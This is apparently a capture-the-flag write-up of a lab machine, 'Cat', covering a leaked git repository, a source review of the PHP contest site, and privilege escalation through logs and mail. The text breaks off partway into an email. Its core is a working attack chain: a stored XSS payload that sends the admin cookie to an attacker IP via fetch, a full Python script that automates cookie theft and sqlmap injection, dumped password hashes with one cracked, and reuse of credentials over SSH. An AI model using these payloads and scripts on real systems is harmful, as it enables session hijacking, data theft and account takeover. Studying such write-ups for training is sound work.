RECON

Port Scan

$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Best Cat Competition
| http-git: 
|   10.129.207.38:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Cat v1 

Port 80

Hosting a website: "Best Cat Competition", and running Apache/2.4.41 (Ubuntu). Additionally, Git Repository found (/.git/), meaning we can perform a Git Leak Attack.

This is a web application for cat competition:

The VOTE page is currently not allowed to interact. If we change to the CONTEST page, it requires us to register first:

Then, we log in using our newly registered account with a simple GET request: http://cat.htb/join.php?loginUsername=axura&loginPassword=axura&loginForm=Login. Once inside, we spot an upload entry:

The upload is handled at http://cat.htb/contest.php via POST. However, submitting an empty file triggers an error:

Interestingly, if we forge an image header like GIF89a, the server accepts the submission, confirming that our file is sent for inspection:

WEB

Git Leak

git-dumper

Since we’ve identified a Git leak at http://cat.htb/.git/ via our Nmap scan, we can use Git Dumper to extract the entire repository:

Bash
python git_dumper.py http://cat.htb/.git/ ./gitleak

To run git-dumper, we first set up a virtual Python environment:

Once ready, we pull the leaked Git repository onto our attack machine:

$ ls gitleak -lh

total 72K
-rwxr-xr-x 1 Axura Axura  893 Feb  2 04:43 accept_cat.php
-rwxr-xr-x 1 Axura Axura 4.4K Feb  2 04:43 admin.php
-rwxr-xr-x 1 Axura Axura  277 Feb  2 04:43 config.php
-rwxr-xr-x 1 Axura Axura 6.6K Feb  2 04:43 contest.php
drwxr-xr-x 2 Axura Axura 4.0K Feb  2 04:43 css
-rwxr-xr-x 1 Axura Axura 1.2K Feb  2 04:43 delete_cat.php
drwxr-xr-x 2 Axura Axura 4.0K Feb  2 04:43 img
drwxr-xr-x 2 Axura Axura 4.0K Feb  2 04:43 img_winners
-rwxr-xr-x 1 Axura Axura 3.5K Feb  2 04:43 index.php
-rwxr-xr-x 1 Axura Axura 5.8K Feb  2 04:43 join.php
-rwxr-xr-x 1 Axura Axura   79 Feb  2 04:43 logout.php
-rwxr-xr-x 1 Axura Axura 2.7K Feb  2 04:43 view_cat.php
-rwxr-xr-x 1 Axura Axura 1.7K Feb  2 04:43 vote.php
drwxr-xr-x 2 Axura Axura 4.0K Feb  2 04:43 winners
-rwxr-xr-x 1 Axura Axura 3.3K Feb  2 04:43 winners.php

Enumeration

Some easy enumeration before dive into details:

$ grep -ir 'password' gitleak
gitleak/join.php:    $password = md5($_GET['password']);
gitleak/join.php:        $stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
gitleak/join.php:        $stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);
gitleak/join.php:    $password = md5($_GET['loginPassword']);
gitleak/join.php:    if ($user && $password === $user['password']) {
gitleak/join.php:        $error_message = "Incorrect username or password.";
gitleak/join.php:            <label for="password">Password:</label>
gitleak/join.php:            <input type="password" id="password" name="password" required>
gitleak/join.php:            <label for="loginPassword">Password:</label>
gitleak/join.php:            <input type="password" id="loginPassword" name="loginPassword" required>
gitleak/css/styles.css:    input[type="password"],

$ grep -ir 'username' gitleak
gitleak/vote.php:        if (isset($_SESSION['username'])) {
gitleak/vote.php:            if ($_SESSION['username'] === 'axel') {
gitleak/winners.php:        if (isset($_SESSION['username'])) {
gitleak/winners.php:            if ($_SESSION['username'] == 'axel') {
gitleak/accept_cat.php:if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
gitleak/join.php:    $username = $_GET['username'];
gitleak/join.php:    $stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
gitleak/join.php:    $stmt_check->execute([':username' => $username, ':email' => $email]);
gitleak/join.php:        $error_message = "Error: Username or email already exists.";
gitleak/join.php:        $stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
gitleak/join.php:        $stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);
gitleak/join.php:    $username = $_GET['loginUsername'];
gitleak/join.php:    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
gitleak/join.php:    $stmt->execute([':username' => $username]);
gitleak/join.php:        $_SESSION['username'] = $user['username'];
gitleak/join.php:        $error_message = "Incorrect username or password.";
gitleak/join.php:            <label for="username">Username:</label>
gitleak/join.php:            <input type="text" id="username" name="username" required>
gitleak/join.php:            <label for="loginUsername">Username:</label>
gitleak/join.php:            <input type="text" id="loginUsername" name="loginUsername" required>
gitleak/view_cat.php:if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
gitleak/view_cat.php:    $query = "SELECT cats.*, users.username FROM cats JOIN users ON cats.owner_username = users.username WHERE cat_id = :cat_id";
gitleak/view_cat.php:        if (isset($_SESSION['username'])) {
gitleak/view_cat.php:            if ($_SESSION['username'] == 'axel') {
gitleak/view_cat.php:        <strong>Owner:</strong> <?php echo $cat['username']; ?><br>
gitleak/delete_cat.php:if (isset($_SESSION['username']) && $_SESSION['username'] == 'axel'){
gitleak/contest.php:if (!isset($_SESSION['username'])) {
gitleak/contest.php:                $stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
gitleak/contest.php:                $stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
gitleak/contest.php:        if (isset($_SESSION['username'])) {
gitleak/contest.php:            if ($_SESSION['username'] == 'axel') {
gitleak/admin.php:if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
gitleak/admin.php:        if (isset($_SESSION['username'])) {
gitleak/admin.php:            if ($_SESSION['username'] == 'axel') {
gitleak/index.php:        if (isset($_SESSION['username'])) {
gitleak/index.php:            if ($_SESSION['username'] === 'axel') {

The username "axel" appears frequently, especially for admin-related checks in admin.php:

PHP
if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {

This strongly suggests "axel" holds administrative privileges.

Meanwhile, join.php processes passwords using:

PHP
$password = md5($_GET['password']);

Since MD5 is outdated and weak, it's trivial to brute-force.

Additionally, by running git log, we can extract the admin’s email ([email protected]):

Code Review

Now that we have the source code from the dumped repository, we can perform a targeted code review. Instead of sifting through everything, we'll focus on key sections relevant to our exploitation.

config.php

The config.php file is included in most PHP scripts, making it a good starting point:

PHP
<?php
// Database configuration
$db_file = '/databases/cat.db';

// Connect to the database
try {
    $pdo = new PDO("sqlite:$db_file");
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Error: " . $e->getMessage());
}
?>

The config.php file handles database configuration and connection setup using SQLite, which locates at path /databases/cat.db. Since this is an SQLite database, there is no need for credentials (username/password).

contest.php

The contest.php file is part of the Best Cat Community web application and is responsible for handling user-submitted cat contest entries. It includes features such as user authentication, form handling, image upload, and database interaction.

User Authentication:
PHP
session_start();
include 'config.php';

And some access control:

PHP
if (!isset($_SESSION['username'])) {
    header("Location: /join.php");
    exit();
}

It Redirects users to join.php (login page) if they are not authenticated, to ensures that only logged-in users can submit contest entries.

Form Data Processing
PHP
if ($_SERVER["REQUEST_METHOD"] == "POST") {

Checks if the request is a POST request (form submission). If so, the server captures user-input data:

PHP
$cat_name = $_POST['cat_name'];
$age = $_POST['age'];
$birthdate = $_POST['birthdate'];
$weight = $_POST['weight'];
Input Validation | Forbidden Characters
PHP
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
function contains_forbidden_content($input, $pattern) {
    return preg_match($pattern, $input);
}

Blocks certain special characters from being entered in the form fields to prevent injections (e.g., SQLi, XSS, LFI).

Image Upload Handling
PHP
$target_dir = "uploads/";
$imageIdentifier = uniqid() . "_";
$target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);

Saves uploaded images in the uploads/ directory and Creates a unique identifier for each uploaded image.

Then uses getimagesize() to validate that the file is an actual image:

PHP
$check = getimagesize($_FILES["cat_photo"]["tmp_name"]);
if($check !== false) {
    $uploadOk = 1;
} else {
    $error_message = "Error: The file is not an image.";
    $uploadOk = 0;
}

Further, restricts file size to 500 KB:

PHP
if ($_FILES["cat_photo"]["size"] > 500000) {
    $error_message = "Error: The file is too large.";
    $uploadOk = 0;
}

Limits file types to JPG, JPEG, and PNG:

PHP
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {
    $error_message = "Error: Only JPG, JPEG, and PNG files are allowed.";
    $uploadOk = 0;
}

If all conditions pass, saves the uploaded image:

PHP
if ($uploadOk == 1) {
    move_uploaded_file($_FILES["cat_photo"]["tmp_name"], $target_file);
}
Database Interaction

Inserts Form Data into the database:

PHP
$stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
$stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
$stmt->bindParam(':age', $age, PDO::PARAM_INT);
$stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
$stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
$stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
$stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
$stmt->execute();

Uses PDO prepared statements (which protects against SQL Injection).

HTML Form

This section renders the contest submission form and displays any error/success messages.

HTML
<?php if ($success_message): ?>
    <div class="message"><?php echo $success_message; ?></div>
<?php endif; ?>
<?php if ($error_message): ?>
    <div class="error-message"><?php echo $error_message; ?></div>
<?php endif; ?>

admin.php

The admin.php page is an administration panel for the Best Cat Community application. It is used by the administrator ("axel") to manage submitted cats, including viewing, accepting, and rejecting contest entries.

User Authentication
PHP
session_start();
include 'config.php';

if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
    header("Location: /join.php");
    exit();
}

Only the user "axel" (admin) is allowed. If an unauthorized user accesses this page, they are redirected to join.php (login page).

Display

Displays the cat image:

HTML
<img src="<?php echo htmlspecialchars($cat['photo_path']); ?>" alt="<?php echo htmlspecialchars($cat['cat_name']); ?>" class="cat-photo">

Uses htmlspecialchars() to prevent XSS when rendering the image path.

HTML
<div class="cat-info">
    <strong>Name:</strong> <?php echo htmlspecialchars($cat['cat_name']); ?><br>
</div>

Displays the cat's name while sanitizing it using htmlspecialchars().

Admin Actions | Accept/Reject

Each cat has three buttons, The first one redirects to view_cat.php to see more details about the cat:

HTML
<button class="view-button" onclick="window.location.href='/view_cat.php?cat_id=<?php echo htmlspecialchars($cat['cat_id']); ?>'">View</button>

Then 2nd one accept-button calls acceptCat() in JavaScript to send a POST request to accept_cat.php:

HTML
<button class="accept-button" onclick="acceptCat('<?php echo htmlspecialchars($cat['cat_name']); ?>', <?php echo htmlspecialchars($cat['cat_id']); ?>)">Accept</button>

The 3rd one reject-button calls rejectCat() in JavaScript to delete the entry via delete_cat.php.

HTML
<button class="reject-button" onclick="rejectCat(<?php echo htmlspecialchars($cat['cat_id']); ?>)">Reject</button>
JavaScript for Admin Actions

It sends an AJAX request to accept_cat.php.

JavaScript
function acceptCat(catName, catId) {
   if (confirm("Are you sure you want to accept this cat?")) {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "accept_cat.php", true);
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.onreadystatechange = function() {
            if (xhr.readyState === 4 && xhr.status === 200) {
                window.location.reload();
            }
        };
        xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
    }
}

The request includescatName (cat’s name) and catId (cat’s ID)

Potential XSS Vulnerability

Here we can identify an XSS in the acceptCat() function:

JavaScript
xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);

The catName parameter is controlled by user input. It is directly inserted into the JavaScript function without proper sanitization.

view_cat.php | XSS

There is a potential Stored XSS vulnerability in view_cat.php because user-supplied input (cat details) is rendered without proper escaping.

HTML
<h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
<img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
<div class="cat-info">
    <strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
    <strong>Age:</strong> <?php echo $cat['age']; ?><br>
    <strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
    <strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
    <strong>Owner:</strong> <?php echo $cat['username']; ?><br>
    <strong>Created At:</strong> <?php echo $cat['created_at']; ?>
</div>

User-controlled fields (age, birthdate, weight, username, created_at) are echoed directly.

accept_cat.php | SQL Injection

The accept_cat.php script processes the acceptance of a cat entry. When an admin (axel) clicks the "Accept" button on admin.php, an AJAX request is sent to this script, which:

PHP
<?php
include 'config.php';
session_start();

if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        if (isset($_POST['catId']) && isset($_POST['catName'])) {
            $cat_name = $_POST['catName'];
            $catId = $_POST['catId'];
            $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
            $pdo->exec($sql_insert);

            $stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
            $stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
            $stmt_delete->execute();

            echo "The cat has been accepted and added successfully.";
        } else {
            echo "Error: Cat ID or Cat Name not provided.";
        }
    } else {
        header("Location: /");
        exit();
    }
} else {
    echo "Access denied.";
}
?>
  1. Checks if the user is "axel".
  2. Inserts the cat’s name into the accepted_cats table.
  3. Deletes the cat from the cats table.
  4. Returns a success message.

We can identify a SQL injection vulnerability here:

PHP
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
  • User input ($cat_name) is directly injected into the SQL query without sanitization.
  • We can here manipulate catName to execute arbitrary SQL.

Reflective XSS

As noted in the code review, potential XSS exists in view_cat.php, where the admin reviews cat submissions, including fields like age, birthdate, weight, username, and created_at. These user-provided values are echoed directly into HTML, reflecting the admin's session.

However, we can’t test XSS in contest.php using age, birthdate, or weight since the script applies input filtering:

PHP
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";

Malicious input will be blocked in the POST request:

However, we can still leverage other vectors like username and created_at, both submitted via contest.php. Since created_at is generated automatically and not under our control, username becomes the ideal injection point.

To exploit this, we simply register a new user with an XSS payload embedded in the username. For example:

JavaScript
<script>fetch('http://10.10.16.15/?c='+document.cookie);</script>

Login with it:

Submit a cat entry via contest.php and click "Register Cat." With our HTTP server running in the background, the admin’s session cookie will be sent to our attacker machine:

Once we have the stolen cookie, we can use it to access admin.php, maintaining the session using browser extensions like Cookie Manager.

SQL Injection

Since we've identified a SQL injection vulnerability in accept_cat.php, which is only accessible to the admin via the accept-button:

PHP
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

PoC | XSS + SQLi

We can test this injection using the stolen PHPSESSID. However, the session expires quickly, so automating the process is necessary for a good practise. The following script auotmates the XSS (steal admin cookie via contest.php) and SQLi attacks (authenticated as admin via accept_cat.php):

Python
import requests
import re
import random
import subprocess
import os
import time
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import logging

# Configure debug logging
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
DEBUG = 0  # Set to 1 to enable debugging, 0 to disable

def pr_debug(message):
    if DEBUG:
        logging.debug(message)

# Configuration
TARGET_HOST = "http://cat.htb"
ATTACKER_IP = "10.10.▒▒.▒▒"  # Change this
ATTACKER_SERVER = f"http://{ATTACKER_IP}"
SQLMAP_PATH = "/usr/bin/sqlmap"

# XSS Payload to steal admin's PHPSESSID
XSS_PAYLOAD = f'<script>fetch("{ATTACKER_SERVER}/?c="+encodeURIComponent(document.cookie));</script>'

USERNAME = XSS_PAYLOAD
PASSWORD = "axura"
pr_debug(f"Username for exploitation:\n{USERNAME}")

# Global variable to store the leaked session
admin_session_id = None  

class RequestHandler(BaseHTTPRequestHandler):
    """HTTP Server to Capture PHPSESSID"""
    def do_GET(self):
        """Capture and log incoming requests"""
        global admin_session_id  

        pr_debug("Received request from HTTP server:")
        pr_debug(self.path)  
        parsed_path = urllib.parse.urlparse(self.path)
        query_params = urllib.parse.parse_qs(parsed_path.query)
        pr_debug(f"Query Parameters: {query_params}")

        if "c" in query_params:
            session_id = query_params["c"][0]
            if "PHPSESSID=" in session_id:
                session_id = session_id.replace("PHPSESSID=", "")
                pr_debug(f"[+] Captured admin PHPSESSID: {session_id}")

                # Store the session in the global variable instead of a file
                admin_session_id = session_id  

        # Send a response
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"OK")


def start_http_server():
    """Starts an HTTP server in a background thread to capture admin cookies."""
    server_address = ("0.0.0.0", 80)
    httpd = HTTPServer(server_address, RequestHandler)
    print("[*] Listening on port 80 for leaked PHPSESSID...")
    thread = threading.Thread(target=httpd.serve_forever, daemon=True)
    thread.start()


def generate_random_email():
    """Generate a unique email for registration to bypass duplicate checks."""
    return f"sqli{random.randint(1000, 9999)}@axura.com"


def register_new_account():
    """Registers a new account with XSS payload in the username."""
    email = generate_random_email()
    encoded_email = urllib.parse.quote(email)
    encoded_username = urllib.parse.quote(USERNAME)
    register_url = f"{TARGET_HOST}/join.php?username={encoded_username}&email={encoded_email}&password={PASSWORD}®isterForm=Register"
    print(f"[*] Registering new account with email: {email}")
    response = requests.get(register_url)

    if response.status_code == 200:
        print("[+] Registration successful")
        return email
    else:
        print("[-] Registration failed")
        return None


def login_and_get_cookie():
    """Logs in with the injected XSS username and returns PHPSESSID."""
    session = requests.Session()
    encoded_username = urllib.parse.quote(USERNAME)
    login_url = f"{TARGET_HOST}/join.php?loginUsername={encoded_username}&loginPassword={PASSWORD}&loginForm=Login"
    
    # Create a session to persist cookies
    print("[*] Logging in with injected username...")
    response = session.get(login_url, allow_redirects=True)

    # Extract PHPSESSID from the response cookies
    session_id = session.cookies.get("PHPSESSID")
    
    if session_id:
        print(f"[+] Logged in successfully. Captured PHPSESSID: {session_id}")
        return session,session_id  
    else:
        print("[-] Login failed. No PHPSESSID found.")
        return None  


def submit_cat_entry(session):
    """Submits a cat entry using the valid PHPSESSID."""
    contest_url = f"{TARGET_HOST}/contest.php"
    headers = {
        "Referer": f"{TARGET_HOST}/contest.php",
        "User-Agent": "Mozilla/5.0",
        # "Cookie": f"PHPSESSID={session_id}"  
    }
    files = {"cat_photo": ("test.jpg", b"GIF89a aaa\naxura", "image/jpeg")}
    data = {"cat_name": "tom", "age": "1", "birthdate": "2077-12-31", "weight": "1"}

    print(f"[*] Submitting cat entry...")
    response = session.post(contest_url, headers=headers, files=files, data=data, allow_redirects=False)

    if response.status_code == 200:
        pr_debug("Server response for Cat submit:")
        pr_debug(response.text)  

        if "Cat has been successfully sent for inspection." in response.text:
            print("[+] Cat entry submitted successfully!")
            return True
        else:
            print("[-] Submission did not return expected success message!")
            return False
    else:
        print(f"[-] Failed to submit cat entry. Status Code: {response.status_code}")
        return False


def wait_for_admin_session():
    """Waits until the admin session ID is leaked via XSS and captured."""
    global admin_session_id  
    
    print("[*] Waiting for admin session to be leaked...")
    for attempt in range(60):  # Try for ~5 minutes
        time.sleep(5)  

        if admin_session_id:  
            print(f"[+] Captured admin PHPSESSID: {admin_session_id}")
            # pr_debug(admin_session_id)
            return admin_session_id

        print(f"[*] Checking again... (Attempt {attempt+1}/60)")

    print("[-] Failed to retrieve admin session after max retries.")
    return None


def validate_session(session_id):
    """Checks if the admin session is still valid."""
    url = f"{TARGET_HOST}/accept_cat.php"
    headers = {"Cookie": f"PHPSESSID={session_id}"}
    response = requests.get(url, headers=headers)
    if "Access denied." in response.text:
        print("[-] Session has expired.")
        return False
    print("[+] Session is still valid.")
    return True


def run_sqlmap(admin_session):
    """Runs SQLMap using the admin PHPSESSID."""
    print(f"[*] Running SQLMap with Admin PHPSESSID: {admin_session}")
    sqlmap_command = [
        "/usr/bin/sqlmap",
        "-u", f"{TARGET_HOST}/accept_cat.php",
        "--data", "catId=2077&catName=Tom",
        "--cookie", f"PHPSESSID={admin_session}",
        "-p", "catName",
        "--dbms=SQLite",
        "--technique=B",
        "-Tusers",
        "--dump",
        "--no-cast",
        "--threads=5",
        "--batch",
        "--level=5",
        "--risk=3",
    ]
    subprocess.run(sqlmap_command)


def main():
    print("[*] Initializing attack...")

    # Start HTTP server in background
    start_http_server()

    while True:
        print("\n[*] Starting a new execution cycle...")

        # Step 1: Register a new account
        email = register_new_account()
        if not email:
            continue  

        # Step 2: Login and get the session ID
        session, session_id = login_and_get_cookie()
        if not session:
            continue   

        # Step 3: Submit cat entry using the session
        if not submit_cat_entry(session):
            print("[-] Failed to submit cat entry. Retrying...")
            continue  

        # Step 4: Wait for XSS to capture the admin's PHPSESSID
        admin_session = wait_for_admin_session()
        if not admin_session:
            print("[-] Failed to capture admin session. Restarting process...")
            continue  

        # Step 5: Execute SQL Injection using SQLmap
        while validate_session(admin_session):  
            print("[+] Reusing valid admin session for SQL Injection...")
            run_sqlmap(admin_session)	# Blocks execution until SQLmap finishes

        print("[-] Admin session expired. Restarting entire process...")
	continue	# Back to step 1


if __name__ == "__main__":
    main()

This is the finalized script after thorough debugging, with particular refinements in the run_sqlmap function, which ran with fewer flags at start (explained in the next section). Finally, despite the short lifespan of the admin session, our script automates the SQL injection process:

Exploit

With this script, we can fine-tune our SQL injection attack by adjusting sqlmap flags. Since we've already identified SQLite as the backend database from config.php, we specify it explicitly in our script’s run_sqlmap() function.

Sqlmap then detects that the catName parameter is injectable, confirming the injection payload:

sqlmap identified the following injection point(s) with a total of 84 HTTP(s) requests:
---
Parameter: catName (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: catId=2077&catName=Tom'||(SELECT CHAR(117,106,105,107) WHERE 7647=7647 AND 4781=4781)||'

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: catId=2077&catName=Tom'||(SELECT CHAR(122,80,114,80) WHERE 8865=8865 AND 8432=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'

Sqlmap detects two types of injection: boolean-based blind and time-based blind. To optimize for speed, we specify boolean-based blind using the --technique=B flag, as it's significantly faster than time-based blind—especially crucial for a time-sensitive competition.

Next, we list available tables using the --tables flag:

4 Tables dumped:

[4 tables]
+-----------------+
| accepted_cats   |
| cats            |
| sqlite_sequence |
| users           |
+-----------------+

To extract data, we add --dump, and since SQLite doesn't always support implicit type conversions, we include --no-cast to disable SQLMap’s automatic casting. This refines our final run_sqlmap() function:

Python
def run_sqlmap(admin_session):
    """Runs SQLMap using the admin PHPSESSID."""
    print(f"[*] Running SQLMap with Admin PHPSESSID: {admin_session}")
    sqlmap_command = [
        "/usr/bin/sqlmap",
        "-u", f"{TARGET_HOST}/accept_cat.php",
        "--data", "catId=2077&catName=Tom",
        "--cookie", f"PHPSESSID={admin_session}",
        "-p", "catName",
        "--dbms=SQLite",
        "--technique=B",
        "-Tusers",
        "--dump",
        "--no-cast",
        "--threads=5",
        "--batch",
        "--level=5",
        "--risk=3",
    ]
    subprocess.run(sqlmap_command)

Gotcha:

There're many data in the users table, and the 32-byte long ones are obvious MD5 hashes:

Table: users
[10 entries]
+-------------------------------+----------------------------------+----------+
| email                         | password                         | username |
+-------------------------------+----------------------------------+----------+
| [email protected]            | d1bbba3670feb9435c9841e46e60ee2f | axel     |
| [email protected]      | ac369922d560f17d6eeb8b2c7dec498c | rosa     |
| [email protected] | 42846631708f69c00ec0c0a8aa4a92ad | robert   |
| [email protected] | 39e153e825c4a3d314a0dc7f7475ddbe | fabian   |
| [email protected]        | 781593e060f8d065cd7281c5ec5b4b86 | jerryson |
| [email protected]          | 1b6dce240bbfbc0905a664ad199e18f8 | larry    |
| [email protected]     | c598f6b844a36fa7836fba0835f1f6   | royer    |
| [email protected]          | e41ccefa439fc454f7eadbf1f139ed8a | peter    |
| [email protected]           | 24a8ec003ac2e1b3c5953a6f95f8f565 | angel    |
| [email protected]          | 88e4dceccd48820cf77b5cf6c08698ad | jobert   |
+-------------------------------+----------------------------------+----------+

Extract the hashes and save it to hashes.txt:

$ cat users.txt | awk '{print $4}'

password

d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad

$ cat users.txt | awk 'NR>3 {print $4}' > hashes.txt

Cracking the hashes with Hashcat mode 0 (MD5), we successfully retrieve the password for user rosa:

ac369922d560f17d6eeb8b2c7dec498c:soyunaprincesarosa
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: .\hash.txt

Using these credentials, we attempt SSH login as rosa, and it works:

No flags are found at this stage, but we immediately notice something interesting—rosa is part of the adm group.

USER

Apache Logs

As user rosa, we're in the adm group, which is interesting because the adm group on Linux usually has read access to system logs (/var/log). This can be useful for privilege escalation, as some services may log sensitive information (e.g., credentials, tokens).

Look for logs owned by adm that we can read:

rosa@cat:~$ ls -la /var/log/ | grep 'adm'
drwxr-x---   2 root      adm                4096 Feb  3 02:59 apache2
drwxr-x---   2 root      adm                4096 Feb  3 04:05 audit
-rw-r-----   1 syslog    adm               42193 Feb  3 07:35 auth.log
-rw-r-----   1 syslog    adm               19344 Jan 30 15:33 auth.log.1
-rw-r-----   1 syslog    adm                   1 Jan 21 13:02 cloud-init.log
-rw-r-----   1 root      adm              282216 Dec 31 12:27 cloud-init-output.log
-rw-r--r--   1 root      adm                   0 Jan 21 13:01 dmesg
drwxr-x---   3 root      adm                4096 Jun  3  2024 installer
-rw-r-----   1 syslog    adm              784280 Feb  3 06:50 kern.log
-rw-r-----   1 syslog    adm             1051746 Jan 30 15:33 kern.log.1
-rw-r-----   1 syslog    adm               70511 Feb  3 07:35 mail.log
-rw-r-----   1 syslog    adm                4565 Jan 27 16:05 mail.log.1
-rw-r-----   1 syslog    adm              134652 Feb  3 07:35 syslog
-rw-r-----   1 syslog    adm              448951 Feb  3 02:59 syslog.1
-rw-r-----   1 syslog    adm              131116 Jan 31 11:17 syslog.2.gz

Quit a lot sensitive logs we can access here:

  1. auth.log – Tracks authentication attempts, including sudo usage, failed logins, and SSH access.
    • We can look for sudo commands executed by other users to check if any misconfigurations exist (e.g., NOPASSWD privileges).
  2. syslog – Contains system-wide logs, including service activity, cron jobs, and executed scripts.
    • If we find cron jobs running as root, we may be able to inject malicious commands or replace scripts.
    • We can also search for scripts or binaries executed by privileged users that we might be able to modify.
  3. kern.log – Captures kernel events and logs related to system processes.
    • If we see unusual kernel messages, they may indicate vulnerabilities in running services.
  4. apache2/access.log and apache2/error.log – Stores web server logs, which could reveal sensitive paths, credentials, or exploited vulnerabilities.
  5. cloud-init-output.log – Sometimes contains credentials or initialization scripts from the system setup.
    • If misconfigured, it might store plaintext passwords or SSH keys.

Here, we can simply use the find command with xargs to enumerate sensitive keywords, for example:

Bash
find /var/log/ -group adm 2>/dev/null | xargs grep -ir 'password' 

It turns out that user axel logs into the cat web application using a plain-text password, just like we did.

Password Reuse

Since users often reuse passwords across services, we attempt SSH login as axel using the cracked password:

Login is successful, allowing us to capture the user flag. Additionally, we spot an interesting hint—"You have mail"—which suggests that checking axel's mailbox might lead us to the next step.

ROOT

Email

Since we received a mail notification upon logging in as axel, let's check the mailbox for any useful information:

axel@cat:~$ ls -l /var/mail
total 100
-rw-rw---- 1 axel   mail  1961 Jan 14 16:49 axel
-rw-rw---- 1 jobert mail     0 Jan 14 16:54 jobert
-rw------- 1 root   mail 93824 Feb  3 07:55 root

axel@cat:~$ cat /var/mail/axel 
From [email protected]  Sat Sep 28 04:51:50 2024
Return-Path: <[email protected]>
Received: from cat.htb (localhost [127.0.0.1])
        by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
        for <[email protected]>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
        by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
        for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: [email protected]
Message-Id: <[email protected]>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From [email protected]  Sat Sep 28 05:05:28 2024
